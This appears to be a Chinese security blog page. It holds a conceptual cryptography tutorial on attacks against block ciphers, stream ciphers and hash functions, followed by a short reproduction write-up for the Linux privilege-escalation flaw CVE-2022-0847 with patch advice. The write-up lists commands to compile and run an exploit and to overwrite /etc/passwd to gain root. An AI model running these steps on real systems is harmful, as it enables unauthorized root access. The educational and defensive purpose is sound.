我们知道,分组密码实际上是一个循环多轮的运算,轮本身是很弱的一系列运算,但是数量很多。而循环的构造主要有两种技术:代换-置换网络(Substitution-Permutation Network,SP-network或SPN))(AES采用)和Feistel方案(DES采用)
在分组密码中,我们会明确规定轮与轮之间是不相同的,这是为什么呢?因为如果相同的话,容易受到滑动攻击Slide attack。
滑动攻击中的攻击者找到两个明文-密文对(P1,C1)(P2,C2),设R是分组密码的轮函数,有P2=R(P1)。当轮函数相同时,两个明文之间的关系蕴含着对应的各自密文之间的关系即C2=R(C1),下图是轮数为3时的示意图
攻击者一旦知道一轮的输入和输出就有助于恢复出密钥。
我们一般可以通过使用不同的子密钥作为参数确保每轮的运算是不同的,从而防止滑动攻击。
AES
AES的全称是Advanced Encryption Standard,意思是高级加密标准。它的出现主要是为了取代DES加密算法的,因为我们都知道DES算法的密钥长度是56Bit,因此算法的理论安全强度是2的56次方。但二十世纪中后期正是计算机飞速发展的阶段,元器件制造工艺的进步使得计算机的处理能力越来越强,虽然出现了3DES的加密方法,但由于它的加密时间是DES算法的3倍多,64Bit的分组大小相对较小,所以还是不能满足人们对安全性的要求。于是1997年1月2号,美国国家标准技术研究所宣布希望征集高级加密标准,用以取代DES。AES也得到了全世界很多密码工作者的响应,先后有很多人提交了自
AES组成
AES每轮的四个步骤如下示意
图中所示的运算都是必要的,如果缺乏任一,AES都是不安全的,具体分析如下:
如果没有KeyExpansion,所有轮都会使用相同的密钥K,则容易受到滑动攻击;
如果没有AddRoundKey,加密将不依赖于密钥;这意味着,攻击者可以在没有密钥的情况下解密密文;
SubBytes引入了非线性操作,增加了密码强度,如果没有SubBytes,AES只是由线性函数构成的大系统,使用基础的高等代数知识就可以破解它。
如果没有ShiftRows,给定列中的更改就不会影响其他列,那么攻击者就可以为每列构造4个2^32个元素的查找表来攻破AES
如果没有MixColumns,字节的变化不会影响该状态的其他任何字节。那么对于选择明文攻击而言,只需存储16个查找表(每个表256字节)后就可以解密任何密文,因为这些表中保存着每个字节可能的加密值。
AES实现
虽然在上一节中我们看到有SubBytes(),ShiftRows(),MixColumns()等操作,但是实际中的AES实现代码并不会用这些函数,因为效率太低,AES通过会基于表实现。
AES基于表的实现实际上是利用查询硬编码在程序中并在执行时加载到内存中的表以及XOR运算替换SubBytes(),ShiftRows(),MixColumns()等操作,比如在openssl中其对应的C语言实现如下
但是基于查找表的实现容易受到基于时间的缓存攻击cache-timing attack,当程序读取或者写入缓存中的元素时存在时间变化上的差异,因为访问cache中的元素的相对位置不同则时间也不同,通过这种差异攻击者就可以知道程序访问了哪个元素,进而推测秘密。
操作模式
分组密码加密模式中最简单的就是ECB,ECB模式下的分组密码是不安全的,一个直观的示意如下所示
左侧为原始图像,右侧为使用AES以ECB模式加密后的结果,可以看到在加密后的图像上还是很容易看出企鹅,这本质上是因为原始图像中灰度阴影的所有分组都被加密到新图像中相同的新灰度阴影中。
而在CBC模式中也存在一定问题,CBC通常与固定IV一起使用,而不是使用随机IV,这会导致什么问题呢?设两个明文分组P1||P2在CBC模式下加密得到密文C1||C2;另外有明文分组P1||P2'使用相同的IV加密得到C1||C2'。其中P2与P2’是不同的分组,在得到的密文中,虽然C2和C2‘不同,但是C1是相同的,即危害在于,即使攻击者只拿到密文,但是攻击者仍然可以推测出两个明文的第一个分组是相同的。
中间相遇攻击
在分组密码领域,有两种必须知道的攻击方案,一种是已经介绍过的padding oracle attack,另一种是中间相遇攻击。
提到中间相遇攻击,不知道大家有没有想过一个问题,为什么DES进一步派生出3DES,而不是2DES呢?
因为通过中间相遇攻击,2DES的安全性依然相当于DES,分析如下
设有一个2DES算法C=E(K2,E(K1,P)),其中P为明文,K1,K2均为56比特的密钥。攻击示意如图
流程如下
1.首先构建有2^56项的E(K1,P)的密钥值表
2.对于K2的所有2^56个值,计算D(K2,C)并检查结果值是否出现在表的索引中
3.如果出现,则从表中取出对应的K1,并使用相应的P,C验证找到的K1,K2是否正确,再用它们加密P看是否能得到C,如果可以则说明攻击成功
可以看到,这种攻击方式只需要2x2^56次操作即可,远小于
2^112
而如果我们将这种攻击方式应用于3DES,可以推算出来,第三阶段需要计算K2,K3的所有2^112个值,这意味说3DES实际上只有112比特的安全性,尽管其密钥长度为168比特。
序列密码
序列密码也称为流密码(Stream Cipher),它是对称密码算法的一种。序列密码具有实现简单、便于硬件实施、加解密处理速度快、没有或只有有限的错误传播等特点,因此在实际应用中,特别是专用或机密机构中保持着优势,典型的应用领域包括无线通信、外交通信。
基于硬件
基于硬件的序列密码基本都离不开反馈移位寄存器FSR。
上图所示是一个n级反馈移位寄存器。
其中,a0,a1,…,an−1为初态。F 为反馈函数或者反馈逻辑。如果 F 为线性函数,那么我们称其为线性反馈移位寄存器LFSR,否则我们称其为非线性反馈移位寄存器NFSR。ai+n=F(ai,ai+1,...,ai+n−1)
FSR被无数序列密码使用,因为它非常简单而且容易理解,从上图可见,其包含由一些比特组成的数组以及一个更新的反馈函数F,FSR的状态存储在数组或寄存器中,每次更新就是使用F改变状态并产生一个输出比特。在使用FSR时,需要尽量避免使用短周期的,因为这样会使输出序列更容易预测。
LFSR中文为线性反馈移位寄存器,是具有线性反馈函数的FSR。在密码学中,线性性质意味着可预测性,也暗示着存在简单并容易理解的数学结构。在序列密码中使用LFSR并不安全,假设一个LFSR的长度为n,攻击者仅需要n比特输出就可以还原该寄存器的初始状态,由此可以反推之前的状态信息并得到之后的输出序列,这种攻击基于Berlekamp-Massey(BM)算法,其依赖于LFSR的数学结构去建立方程,求解方程即可。实际上攻击者即使不知道n,也可以通过穷举所有可能的长度进行攻击。
为了掩盖LFSR的线性性质,可以对LFSR的输出序列进行非线性过滤以得到非线性程度更高的密钥序列,称其为过滤生成器,如下所示
图中的g为非线性函数,如异或、逻辑与、逻辑或等。
不过这还是会受到其他复杂的攻击:
代数攻击Algebraic attack:当未知变量是LFSR的内部状态比特时,代数攻击可以求解以内部状态为未知变量的非线性方程
立方攻击Cube attacks:通过计算非线性方程的微商,使其方程的代数次数降到1次,进而得到线性方程组从而求解
快速相关攻击Fast correlation attacks:挖掘非线性过滤函数和线性函数的相似度来实施攻击
为了彻底解决这个问题可以使用NFSR,即非线性反馈移位寄存器,它使用了非线性函数,它的输出比特和状态比特之间的代数关系的复杂性更高,随着运行次数的增加,复杂性呈指数规模增长。
A5/1
基于硬件的序列密码中的一个代表算法就是A5/1,其被用于2G移动通信中,用于对语音通信加密.示意图如下
A5/1流密码使用三个LFSR。虽然我们前面说LFSR不安全,但是A5/1使用小技巧是它变得较为安全,它使用的3个LFSR并非每一时刻都输出,而是通过下面的钟控规则决定每个寄存器的停走:如果某个寄存器的钟控位(橙色)和另一个寄存器的钟控位相同或著三个寄存器的钟控位都相同,则对该寄存器作移位操作。
特别地,在2G通信中使用的A5/1算法有64比特密钥和22比特nonce,其中加密每一帧所用的nonce不同,针对A5/1的攻击旨在恢复算法的64比特的初始状态(即三个寄存器的长度之和19+22+23),然后通过算法的初始化原理恢复nonce和密钥。这种攻击属于已知明文攻击,因为攻击者需要知道部分明文以及对应的密文,这样通过异或运算可以得到部分密钥序列比特。针对A5/1的攻击主要有两类,分别是细致攻击subtle attack以及暴力攻击brutal attack.
subtle attack是挖掘算法内部的线性性质并利用它相对简单的钟控系统,攻击者需要猜测一些内部状态比特以确定其他状态比特,本质上就是遍历第一个和第二个寄存器的所有可能取值以及前11个时钟周期里第三个寄存器的钟控比特的所有可能取值,由此建立方程得到第三个寄存器的内部状态。伪码如下
brutal attack将算法看做是一个64比特输入(内部状态)到64比特(前64比特密钥序列)输出的黑盒,本质是通过消耗内存降低暴力攻击的成本:预算计算一个有2^64个元素的表,表中的元素是每个可能的密钥和其对应的输出。在攻击时,根据输出,通过查表就可以得到对应的密钥。
基于软件
RC4
在密码学中,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法.RC4应用非常广泛,在WEP中,RC4用于加密802.11帧的有效负载,这些数据通过数据包的形式进行传输。在同一会话中交付的所有有效负载都使用相同的40比特或104比特的密钥,且在帧头有一个唯一的3字节的nonce编码。
这里的关键在于RC4不支持nonce,而在WEP中使用nonce会造成风险,其原因在于:
nonce的比特数太少,只有24比特,这意味着对于攻击者而言,即使每条消息都随机选择一个nonce,只需等到2^12包,就能找到两个用相同的nonce加密的包,他们有相同的密钥序列,攻击者可以用其去解密数据包;此外还有更严重的问题--nonce和密钥的结合方式有助于恢复密钥。WEP中的nonce是公开的,它的三个字节使攻击者能够在密钥编排方案的三次迭代后确定S的值,基于此密钥分析人员发现密码序列的第一个字节和密钥的第一个字节有很强的相关性,其导致的偏差可以被用于恢复密钥。
在实际场景中,这就会造成选择明文攻击。
在TLS中也使用过RC4,这时存在风险的原因是在于,RC4存在统计数据偏差:RC4生成的密钥序列的第二个字节是0的概率是1/128,而理想情况下应该是1/256;不仅如此,实际上,前256个字节都有偏差,之前就有研究人员发现,其中某字节为0的概率为1/256+c/256^2,c取值介于0.24到1.34.
通过这种缺陷去攻击TLS的过程也非常直观,只需要收集密文并寻找明文,攻击者需要收集很多密文,并且这些密文是同不同的密钥对相同的明文加密得到的。设攻击者拿到了同一明文P1加密得到的多组密文,现在要解密明文P1.前4个密文字节是这样的:
由于前面提到RC4存在统计偏差,密钥序列字节SK1i取值为0的可能性更大,所以对应的C1i等于P1的可能性更大。在给定C1i后,为了确定P1,只需计算每个字节值出现次数并返回出现次数最多的那个值,它就是P1.
哈希函数
散列函数(Hash function)又称散列算法、哈希函数,是一种从任何一种数据中创建小的数字“指纹”的方法。散列函数把消息或数据压缩成摘要,使得数据量变小,将数据的格式固定下来。该函数将数据打乱混合,重新创建一个叫做哈希值或散列值(hash values,hash codes,hash sums,或hashes)的指纹。其运行的示意图如下
生日攻击
我们知道哈希函数存在原像攻击和碰撞攻击。
给定任意哈希值H,原像是指满足Hash(M)=H的消息M,原像攻击指给定随机哈希值,攻击者可以找到原始消息,这一般也被称作第一原像攻击。
除此之外,还存在第二原像攻击,即给定消息M1时,攻击者能够找到另一条消息M2,其哈希值与M1的哈希值相同。
而碰撞攻击则是指攻击者可以找到具有相同哈希值的两条不同的消息。
碰撞攻击的本质是鸽巢原理:有n只鸽子和m个鸽洞,所有鸽子都住在鸽巢里,如果n>m,那么至少有二只鸽子必须住在同一鸽巢里。
可以说这是不可避免的,但是对于哈希函数而言,碰撞应该像原始消息一样难于找到。
通过上面的表述,我们可以看到第二原像攻击与碰撞攻击存在一定联系:
第二原像攻击定义为:
给定固定消息m1,找到另一个消息m2,使hash(m2)= hash(m1)。
碰撞攻击定义为:
找到两个任意不同的消息m1和m2,使hash(m1)= hash(m2)。
区别在于第二原像攻击是给定了m1的,而碰撞攻击没有。就攻击难度而言,前者更难。同时,我们也可以看出,任何具有抗碰撞性的哈希函数,也能够抵御第二原像攻击。
找到碰撞与找到原像要快,需要2^(n/2)次
而不是2^n次,这背后的原理我们称之为生日攻击。
生日攻击是一种密码学攻击手段,所利用的是概率论中生日问题的数学原理。这种攻击手段可用于滥用两个或多个集团之间的通信。此攻击依赖于在随机攻击中的高碰撞概率和固定置换次数(鸽巢原理)。
举个例子
设一位老师问一个有30名学生的班级(n = 30)每个人的生日在哪一天以确定是否有两个学生同一天生日(对应碰撞 )。从直觉角度考虑,机率看起来很小。若老师选择特定日期(例如9月16日),则至少有一名学生在那天出生的几率是1-(364/365)^30,约为7.9%。但是,与我们的直觉相反的是,至少一名学生和另外任意一名学生有着相同生日的几率大约为70.63%(n = 30时),即
1-365!(365-n)!x365^n
更简洁的结论就是,如果班级有23人,则其中有两个学生出生日期相同的概率为1/2。
知道生日攻击的原理后,我们看看对应的攻击方案:
朴素的生日攻击方案如下:
1.计算任意选择的2^(n/2)个消息的哈希,并将所有的消息-哈希对存下来
2.重排哈希值列表
3.搜索排序后的列表以查找具有相同哈希值的两个连续条目
可以看到,这种方法需要大量的内存,同时对大量元素进行排序会减慢搜索的速度。
研究人员在此基础上提出了低内存的攻击方案:Rho攻击(来自Pollard Rho算法),流程如下
1.给定具有n比特哈希值的哈希函数,选择一些随机哈希值H1,设H1'=H1
2.计算H2=Hash(H1),H2'=Hash(Hash(H1'))
3.迭代该过程并计算Hi+1=Hash(Hi),Hi+1'=Hash(Hash(Hi')),直到有一个i可以满足Hi+1=Hi+1'
对应的示意图如下
可以看到这个序列最终会形成一个循环,循环从H5开始,找到的碰撞是Hash(H4)=Hash(H10)=H5,只要我们能够找到循环,就能够找到碰撞。对于攻击者而言,首先找到循环点,然后发现碰撞,不需要在内存中存储大量的值,也不需要排序。
循环以及尾部各自有大约2^(n/2)个值,所以大约需要
2^(n/2)x2次哈希运算就能找到碰撞
这里再多说一句,密码学中一般使用Pollard Rho算法分解大整数,其基于大整数n=pq中p和q之间有一个因子很小,在此情况下,可以利用该算法完成对n的分解,它是基于寻找指定哈希函数的碰撞的思想才设计出来的,也就是我们上文提到的过程。假设找到了碰撞,即找到不相等的x,x'并且有
x mod p = x' mod p
那实际上我们就知道x,x'相差p的整数倍,由此可以知道gcd(x-x',n),如果不是1也不是n,那么就分解成功。
长度扩展攻击
对消息进行哈希处理的最简单方法就是将其分成多个分组,并使用类似的算法连续处理每个分组。这种方法被称为迭代哈希,其主要有两种形式:
1.使用压缩函数迭代哈希,将输入转换为较小的输出,如下所示
这种结构也被称为Merkel-Damgard结构
2.使用将输入转换为相同大小的输出的函数进行迭代哈希,是的任意两个不同的输入给出两个不同的输出,如下所示
这种函数被称为海绵函数
基于M-D结构的有MD4,MD5,SHA-1,SHA-2系列,基于后者的最著名的海绵函数是Keccak,也被称为SHA-3。
对于M-D而言,其主要威胁就是长度扩展攻击。长度扩展攻击是指一种针对特定加密散列函数的攻击手段,攻击者可以利用H(消息1)和消息1的长度,不知道消息1内容的情形下,将攻击者控制的消息2计算出H(消息1 ‖ 消息2)。我们来看下面的例子
设存在未知消息M的Hash(M),M由M1,M2组成,那么攻击者对于任意消息M3都可以确定Hash(M1||M2||M3)。这种攻击可行的原因在于M1||M2的哈希是跟在M2之后的链值,所以可以将另一个分组M3添加到哈希中。
SHA-2就存在这个问题,解决方案也很简单,如BLAKE2中让最后一个压缩函数与其他函数都不同即可。
绕过存储证明协议
存储证明协议在云计算中应用广泛,其使用哈希函数,使得服务器能够向用户证明服务器确实存储了应该存储的用户文件。Kotla等人就提出一种存储证明协议(详情见SafeStore: A Durable and Practical Storage System ),设要存的文件为M,过程如下:
1.客户端选择一个随机值C并发送给服务器
2.服务器计算Hash(M||C)并返回给客户端
3.客户端计算Hash(M||C)并比服务器返回的值作比较,如果吻合则说明服务器确实存储着M
这个协议可行的前提是如果服务器不知道M,那么就不能正确计算出H(M||C)
但是这里的缺陷在于,Hash是一个迭代的哈希,其会逐分组处理输入信息,计算每个分组之间的中间链值。服务器利用这一点完成可以实现欺骗,怎么做呢?
当服务器接收到M时,计算H1=Compress(H0,M1),H0是哈希函数的初始值,然后记录H1并删除M,此时服务器已经没有存储着M了。当客户端发送C时,服务器可以计算出Compress(H1,C)并将其作为Hash(M||C)的结果返回。此时客户端会验证成功,由此就欺骗了该协议。
对于SHA-1,SHA-2,SHA-3以及BLAKE2都存在这个问题。其实对应的解决方案很简单,要求服务器计算Hash(C||M)而不是Hash(M||C)即可。
参考
1.https://www.iacr.org/archive/eurocrypt2000/1807/18070595-new.pdf
2.https://en.wikipedia.org/wiki/Slide_attackhttps://crypto.stackexchange.com/questions/17869/lfsr-output-sampling-for-berlekamp-massey
3.https://ieeexplore.ieee.org/document/6378229
4.https://eprint.iacr.org/2018/522.pdf
5.https://en.wikipedia.org/wiki/Cube_attack
6.http://www.dcs.fmph.uniba.sk/diplomovky/obhajene/getfile.php/master-mv.pdf?id=132&fid=219&type=application%2Fpdf&&
7.SafeStore: A Durable and Practical Storage System
CVE-2022-0847漏洞复现及修复建议
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
漏洞描述
CVE-2022-0847是Linux内核的本地提权漏洞。原理类似于Dirty Cow linux提权。目前该漏洞的EXP已经公开,且处于在野利用。
影响版本
Linux kernel>=5.8
漏洞复现
这里利用的linux内核版本为5.9,因为之前ubuntu的内核版本为4.5.0
所以需要对linux的内升级
wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-headers-5.9.0-050900_5.9.0-050900.202010112230_all.deb
wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-headers-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb
wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-image-unsigned-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb
wget -c https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.9/amd64/linux-modules-5.9.0-050900-generic_5.9.0-050900.202010112230_amd64.deb
下载完毕后安装
sudo dpkg -i *.deb
之后重启虚拟机即可,如果中间报错的话,需要重新下载依赖进行安装,这里升级依赖可参考
https://blog.csdn.net/qq_50598558/article/details/119063124 重启之后内核版本成功升级为5.9.0
利用exp进行提权,编译提权脚本
gcc -o exploit exploit.c
./exploit
临时目录/tmp下生成了一个passwd的备份文件
这个时候需要利用低权限用户将原来的passewd文件进行覆盖
mv /tmp/passwd.bak /etc/passwd
这个时候已成功提权,利用密码为aaron对root用户进行登录
修复建议
• 建议将linux内核升级为安全版本,目前在 Linux 5.10.102、5.15.25 和 5.16.11版本已修复。
• 存在问题终端或者服务器不要映射在公网上。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

